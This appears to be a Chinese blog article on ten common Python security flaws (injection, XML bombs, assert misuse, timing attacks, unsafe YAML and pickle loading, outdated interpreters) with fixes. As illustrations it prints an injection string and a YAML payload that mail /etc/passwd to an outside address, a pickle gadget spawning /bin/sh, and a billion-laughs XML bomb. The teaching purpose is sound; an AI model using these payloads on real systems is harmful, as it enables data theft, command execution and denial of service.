10個常見安全漏洞的Python解決方法

2021-02-14 藍橋雲課精選

注入攻擊非常廣泛而且很常見,注入有很多種類。它們可以影響語言,框架和環境。

SQL注入是直接編寫SQL查詢,而不使用ORM並將字符串文字與變量混合。「Escaping quotes」被認為是一種修復,但事實並非如此。 熟悉SQL注入可能發生在備忘單上的所有複雜方式。

命令注入可以在任何時候使用popen,subprocess,os.system調用一個進程並從變量中獲取參數。 當調用本地命令時,有人可能會惡意設置某些值。

看一下這個簡單的腳本[credit]。 你可以使用用戶提供的文件名稱調用子進程:

import subprocess

def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!

攻擊者將filename的值設置為「; cat / etc / passwd | mail them@domain.com或者其他同樣危險的東西。

解決方法:

如果使用的是Web框架附帶的實用程序,請對輸入進行清理。 除非你有充分的理由,否則不要手動構建SQL查詢。 大多數ORM具有內置清理方法。

對於shell,請使用shlex模塊正確地轉義輸入。

如果你的應用程式加載並分析XML文件,那你可能正在使用XML標準庫模塊之一。 有通過XML的一些常見攻擊。 大多數是DoS風格(旨在使系統崩潰而不是洩露數據)。 這些攻擊很常見,特別是在解析外部(即不可信任的)XML文件時。

其中之一被稱為「billion laughs」,因為有效載荷通常包含很多(十億)「lols」。 你可以用XML來完成引用,所以當XML解析器試圖將這個XML文件加載到內存中時,它會消耗千兆字節的RAM。

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一個攻擊使用外部實體擴展。 XML支持從外部URL引用實體,XML解析器通常會毫無疑問地獲取並加載該資源。「攻擊者可以規避防火牆並訪問受限制的資源,因為所有請求都是由內部可信的IP位址創建的,而不是來自外部。」

需要考慮的另一種情況是要依賴於解碼XML的第三方軟體包,例如配置文件,遠程API。

那麼在Python中會發生什麼?標準庫模塊,etree,DOM,xmlrpc都可以廣泛應用於這些類型的攻擊。

使用defusedxml作為標準庫模塊的直接替換。 它增加了針對這些類型攻擊的安全防護。

不要使用assert語句來防止用戶不應訪問的代碼段。 舉一個簡單的例子:

def foo(request, user):
assert user.is_admin, 「user does not have access」
# secure code...

默認情況下,Python以__debug__來執行,但在生產環境中,通常使用優化運行。 這將跳過assert語句並直接轉到安全代碼,而不管用戶是否是is_admin。

解決辦法:

只能使用assert語句與其他開發人員進行通信,比如在單元測試中或為防止使用不正確的API。

時序攻擊是一種側信道攻擊,攻擊者試圖通過分析加密算法的時間執行來推導出密碼。每一個邏輯運算在計算機需要時間來執行,根據輸入不同,精確測量執行時間,根據執行時間反推出密碼。 時序攻擊需要精確性,所以它們通常不能用於高延遲的遠程網絡。 由於大多數Web應用程式涉及可變延遲,因此幾乎不可能在HTTP Web伺服器上編寫時序攻擊。

但是,如果你有提示輸入密碼的命令行應用程式,則攻擊者可以編寫一個簡單的腳本來計算將其值與實際密碼進行比較所需的時間。

用Python編寫的基於SSH的時序攻擊——https://github.com/c0r3dump3d/osueta

解決辦法:

使用secrets.compare_digest,引入Python 3.5(https://docs.python.org/3/library/secrets.html#secrets.compare_digest)來比較密碼和其他private值。

將第三方軟體包安裝到站點軟體包中,無論是在虛擬環境中還是在全球站點軟體包(通常不鼓勵)中,都會暴露在這些軟體包中的安全漏洞。

需要考慮的另一種情況是依賴關係。他們也可能包含漏洞,通過導入系統覆蓋Python中的默認行為。

解決方法:

看看PyUp.io及其安全服務。 為所有應用程式使用虛擬環境,並確保你的全球站點包儘可能乾淨。檢查軟體包的籤名。

要在Python中創建臨時文件,通常使用mktemp()函數生成一個文件名,然後使用該名稱創建一個文件。「這是不安全的,因為不同的進程可能會在調用mktemp()和隨後嘗試通過第一個進程創建文件之間的時間內創建一個具有此名稱的文件。」這意味著它可能會欺騙應用程式加載錯誤的數據或暴露其他臨時數據。

解決辦法:

如果需要生成臨時文件,請使用tempfile模塊和mkstemp。

引用PyYAML文檔:

使用從不可信源接收到的任何數據調用yaml.load是不安全的!

yaml.load和pickle.load一樣強大,所以可以調用任何Python函數。

Talos漏洞報告。你可以將此值作為(有效)YAML提供給Ansible Vault。 它使用文件中提供的參數調用os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,從用戶提供的值中加載YAML文件會暴露在攻擊中。

解決辦法:

使用yaml.safe_load。

反序列化pickle數據和YAML一樣糟糕。 Python類可以命名一個__reduce__方法,該方法返回一個字符串,或一個可調用的元組以及在pickling調用的參數。攻擊者可以使用它來攻擊者可以使用它來引用其中一個子進程模塊,以在主機上運行任意命令。

https://blog.nelhage.com/2011/03/exploiting-pickle/

import cPickle
import subprocess
import base64

class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

解決辦法:

切勿取消不受信任或未經身份驗證的來源的數據。 改用另一種序列化模式,如JSON。

大多數POSIX系統都帶有一個Python 2版本。通常是舊版本。

由於「Python」(即用C語言編寫的CPython),有時候Python解釋器本身存在漏洞。 C中的常見安全問題與內存分配有關,所以緩衝區溢出錯誤。

CPython出現了一些溢出漏洞,每個漏洞都在後續版本中進行了修補和修復。

解決辦法:

為你的生產應用程式安裝最新版本的Python,並對其進行修補!

解決辦法:使用像http://PyUp.io這樣的服務來檢查更新,向應用程式提出pull / merge請求,並運行測試保持軟體包是最新的。

使用InSpec這樣的工具來驗證生產環境中的安裝版本,並確保修補最小版本或版本範圍。

相關焦點

  • 學習 Python 這麼多年,掉過的那些安全漏洞
    有幾種通過 XML 進行攻擊的常見手段。大多數都是 DoS 攻擊(拒絕服務攻擊,目的是讓系統癱瘓,而不是竊取數據)。這些攻擊很常用,在需要解析外部 XML 文件(即不被信任的 XML 文件)時尤甚。一種攻擊叫做「billion laughs」攻擊,該方法由於其內容通常包含大量「lol」(十億個)而得名。
  • PHP網站常見安全漏洞及防禦方法
    目前,基於PHP的網站開發已經成為目前網站開發的主流,本文貓巷重點從PHP網站攻擊與安全防範方面進行探究,旨在減少網站漏洞,希望對大家有所幫助!網站漏洞一:常見PHP網站漏洞安全。二:PHP常見漏洞的防範措施。
  • Python語言安全問題
    其實一個應用程式是否安全與它使用什麼樣的語言關係不大,你可以用很容易出現漏洞的語言安全的編寫代碼,也可以用設計很安全的語言非常不安全的編碼。但是有些功能還是需要開發者注意的,因為每個語言都有一些潛在的薄弱點。今天我們來談談Python中可能被攻擊者利用的幾個危險特性。
  • 微軟全面推送10月安全補丁 修復23個漏洞-微軟,10月,安全補丁,修復...
    微軟今天面向廣大Windows用戶推送了10月份的安全補丁,本月安全補丁共8個,修復23個漏洞。在微軟今日發布的8個安全補丁中,有2個屬於最高級別的「嚴重」級,涉及Windows作業系統和IE、Silverlight、.NET Framework等組件,惡意攻擊者可利用此漏洞進行遠程攻擊。
  • Python初學者常見錯誤及解決方法
    這是為青少年編寫的《Python趣味編程:從入門到人工智慧》的附錄B的內容,列出了Python初學者常見錯誤及解決方法。
  • 10大最常見的資料庫安全問題
    網絡黑客們會利用各種途徑來獲取他們想要的信息,因此,保證資料庫安全變得尤為重要。儘管意識到資料庫安全的重要性,但開發者在集成應用程式或修補漏洞、更新資料庫的時候仍然會犯一些錯誤,讓黑客們乘虛而入。本文列出了資料庫系統10個最常見的安全問題。
  • 10個常見的資料庫安全問題
    而這種情況也引發了企業對網絡安全軟體和web應用程式測試的需求,通過採用這些措施,黑客將被拒絕訪問在線資料庫中的可用記錄和文檔。另外,嚴格遵守GDPR有助於加強用戶數據保護。那麼資料庫驅動系統中常見的漏洞有哪些呢?我們總結了常見的十大漏洞以及消除這些漏洞的技巧。
  • 程式語言安全漏洞:C++、PHP、Java、Python、.Net 和 JavaScript
    程式語言安全漏洞:C++、PHP、Java、Python、.Net 和 JavaScript 靜態代碼分析安全公司 Veracode 最近發布了一份年度軟體安全狀態(SOSS)報告,其中的第 11 卷則揭示了用 .NET、C++、Java、JavaScript、PHP 或 Python
  • 安全小課堂第九十七期【web漏洞挖掘之業務邏輯漏洞】
    這種漏洞比較少也較難發現,一般都是通過審計發現。5)競爭條件漏洞。這種漏洞一般出現在獲取和使用優惠券還有支付等業務場景中,當多個並發的執行線程訪問共享資源時,根據執行代碼的時間,無意中產生不同的結果,這主要是由於緩存或數據同步時間差導致的。簡單舉個例子,比如帳戶餘額只有10元,但在進行並發的多訂單支付時,成功支付了總價值12元的多個訂單。
  • macOS 重大安全漏洞:無密碼獲得管理員權限(附臨時解決方案)
    開發者 Lemi Ergin 在 macOS High Sierra 中發現了重大的安全漏洞,可以在不輸入密碼以及安全檢查的情況下獲得 root 權限。利用這個漏洞,任何人都可以使用管理員帳戶登陸,用戶名為 root,密碼可以空著。
  • 中國發現網絡安全漏洞有多快?美媒:領先美國20天
    中國發現網絡安全漏洞速度有多快?美媒:領先美國20天      參考消息網10月24日報導美媒稱,今年3月,阿帕奇軟體基金會宣布它發現了其軟體中的一個重大瑕疵。現在,這個瑕疵已眾所周知,堪稱伊奎法克斯公司未修補的致命要害:黑客可藉此盜走1.45億美國人的敏感信息。而防範黑客襲擊的中國公司則領先了一步。
  • 專為滲透測試人員設計的Python工具大合集
    滲透測試就是滲透測試工程師完全模擬黑客可能使用的攻擊技術和漏洞發現技術,對目標網絡、主機、應用的安全作深入的探測,發現系統最脆弱的環節。如果說安全檢測是「橫向地毯式自動化掃描」,那麼滲透測試就是「縱向深度人工化入侵」。可見滲透測試的目的是發現目標系統潛在的業務漏洞風險。
  • Python程式設計師最常犯的10個錯誤,你中招了嗎?
    鑑於此,本文列出了Python開發人員常犯的10個小錯誤,資深程序猿也難免會中招哦。常見的解決方案:>>> def foo(bar=None):...更多內容請戳:https://docs.python.org/3/reference/compound_stmts.html#except解決方法之一是
  • Python程式設計師最常犯的10個錯誤
    要解決這個常見Python問題的方法中,需要使用一些hack技巧:>>> def create_multipliers():...     return [lambda x, i=i : i * x for i in range(5)]...
  • Python 的 eval() 與 exec() 安全用法最佳實踐
    常見用途:將字符串轉成相應的對象,例如 string 轉成 list ,string 轉成 dict,string 轉 tuple 等等。 本例中 y 作了聲明,卻因為循環引用而無法完成賦值,即 key 值對應的 value 是個無效值,因此讀取不到,就報錯了。 此例還有 4 個變種,我想用一套自恰的說法來解釋它們,但嘗試了很久,未果。留個後話吧,等我想明白,再單獨寫一篇文章。 4、為什麼要慎用 eval() ?
  • Web常見漏洞描述及修復建議
    這一類攻擊在java、python等面向對象語言中均存在。  3、通過查看日誌、伺服器殺毒等安全排查,確保伺服器未被留下後門22.備份文件洩露  漏洞描述  網站備份文件或、敏感信息文件存放在某個網站目錄下,攻擊者可通過文件掃描等方法發現並下載該備份文件,導致網站敏感信息洩露。
  • 微軟發布 8 月安全公告:修 22 個漏洞,影響 Win7
    微軟發布8月安全公告,其中含13個安全補丁,修補IE、Windows、Visio和Visual Studio等軟體中的22個安全漏洞。在Windows7 Service Pack 1基礎上運行IE 9或IE 8的用戶將會收到一個非常重要的安全公告。
  • Python擴展庫安裝與常見問題解決完整指南
    截至2021年1月,pypi已經收錄了超過28萬個擴展庫項目,涉及很多領域的應用,例如jieba(用於中文分詞)、moviepy(用於編輯視頻文件)、xlrd(用於讀取Excel 2003之前版本文件)、xlwt(用於寫入Excel 2003之前版本文件)、openpyxl(用於讀寫Excel2007及更高版本文件)、python-docx(用於讀寫Word 2007及更新版本文件)、python-pptx
  • Python基礎篇-13 Python不是內部或外部命令的解決方法
    公眾號關注「專攻python」,設為「星標」重磅文章,第一時間送達!!
  • python性能提高10倍的通用方法
    在使用python進行模型點的計算過程中,經常需要遍歷所有點,如果點的數量很多,則運行是非常慢的,那麼,如何避開使用循環語句,而又能對每個點分別進行操作呢,答案就是:numpy!當然,除了numpy之外,python還有很多其它優秀的庫,但鑑於Houdini只內置了numpy庫,故本篇文章只討論numpy的提速方法。